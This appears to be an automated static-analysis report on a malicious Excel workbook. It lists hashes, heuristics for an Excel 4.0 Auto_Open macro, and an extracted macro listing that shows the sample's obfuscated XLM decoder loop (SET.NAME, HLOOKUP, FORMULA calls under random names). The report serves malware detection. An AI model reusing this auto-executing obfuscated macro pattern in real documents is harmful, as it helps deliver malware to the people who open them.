Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4331338f775bd497…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:46:15 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: c57a81acfaab985e613743e40af34b31 SHA-1: 89d29a571ae679f06485f9f825ac9d889c5985df SHA-256: 4331338f775bd497dd0995f87854bcf65386bbc04e9423b3d24ae046e9e2867d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6570 bytes
SHA-256: 520fc9c35952b79d375ff0c7a947935fcad24d3988dbcb4e8bb1bf43571bdeb5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PgCcZFfJ
' 0018     20 LABEL : Cell Value, String Constant - afzie len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B172 
' 0018     20 LABEL : Cell Value, String Constant - dKGOX len=0 
' 0018     20 LABEL : Cell Value, String Constant - epRtC len=0 
' 0018     23 LABEL : Cell Value, String Constant - eqADIlyG len=0 
' 0018     22 LABEL : Cell Value, String Constant - eQcuYSz len=0 
' 0018     21 LABEL : Cell Value, String Constant - EXbjWC len=0 
' 0018     25 LABEL : Cell Value, String Constant - FlfGijJePW len=0 
' 0018     26 LABEL : Cell Value, String Constant - HvERgYgVPOW len=0 
' 0018     23 LABEL : Cell Value, String Constant - ICtXYNZL len=0 
' 0018     25 LABEL : Cell Value, String Constant - ieDGJYkwbh len=0 
' 0018     24 LABEL : Cell Value, String Constant - JARItMelf len=0 
' 0018     23 LABEL : Cell Value, String Constant - KnkCyEUl len=0 
' 0018     25 LABEL : Cell Value, String Constant - MdCJEsTYWm len=0 
' 0018     23 LABEL : Cell Value, String Constant - nzmSYppr len=0 
' 0018     20 LABEL : Cell Value, String Constant - qrQqc len=0 
' 0018     27 LABEL : Cell Value, String Constant - TRhHtEKkEkfG len=0 
' 0018     26 LABEL : Cell Value, String Constant - uNfxffgUDaY len=0 
' 0018     20 LABEL : Cell Value, String Constant - uzZPB len=0 
' 0018     26 LABEL : Cell Value, String Constant - XSEnEzYBtfZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - ycUNklqTDAT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PgCcZFfJ,B74,"SET.NAME("EXbjWC",VALUE("0"))",""
'  PgCcZFfJ,B79,"SET.NAME("uNfxffgUDaY",EXbjWC)",""
'  PgCcZFfJ,B82,"SET.NAME("epRtC",EXbjWC)",""
'  PgCcZFfJ,B85,"SET.NAME("ieDGJYkwbh",COUNTA(eqADIlyG))",""
'  PgCcZFfJ,B88,"SET.NAME("XSEnEzYBtfZ",COUNTA(afzie))",""
'  PgCcZFfJ,B91,[],""
'  PgCcZFfJ,B95,"SET.NAME("eQcuYSz","")",""
'  PgCcZFfJ,B99,"uNfxffgUDaY",""
'  PgCcZFfJ,B104,"SET.NAME("nzmSYppr",HLOOKUP("*",eqADIlyG,uNfxffgUDaY,FALSE))",""
'  PgCcZFfJ,B106,"TRhHtEKkEkfG",""
'  PgCcZFfJ,B109,"SET.NAME("uzZPB",EXbjWC)",""
'  PgCcZFfJ,B114,[],""
'  PgCcZFfJ,B119,"uzZPB",""
'  PgCcZFfJ,B121,"KnkCyEUl",""
'  PgCcZFfJ,B126,"FlfGijJePW",""
'  PgCcZFfJ,B129,"ICtXYNZL",""
'  PgCcZFfJ,B134,"SET.NAME("MdCJEsTYWm",VALUE(HLOOKUP("*",afzie,ICtXYNZL,FALSE)))",""
'  PgCcZFfJ,B137,"HvERgYgVPOW",""
'  PgCcZFfJ,B140,"eQcuYSz",""
'  PgCcZFfJ,B143,"epRtC",""
'  PgCcZFfJ,B146,NEXT(),""
'  PgCcZFfJ,B150,"JARItMelf",""
'  PgCcZFfJ,B154,"SET.NAME("f",INT(T(FORMULA(T(eQcuYSz)&"",""&T(JARItMelf)))))",""
'  PgCcZFfJ,B158,"qrQqc",""
'  PgCcZFfJ,B162,NEXT(),""
'  PgCcZFfJ,B167,RETURN(),""
'  PgCcZFfJ,B197,"SET.NAME("ycUNklqTDAT",B74)",""
'  PgCcZFfJ,B201,"eqADIlyG",""
'  PgCcZFfJ,B203,"SET.NAME("afzie",R72C14)",""
'  PgCcZFfJ,B207,"SET.NAME("qrQqc",217)",""
'  PgCcZFfJ,B212,"SET.NAME("dKGOX",2)",""
'  PgCcZFfJ,B216,ycUNklqTDAT(),""
'  PgCcZFfJ,B217,HALT(),""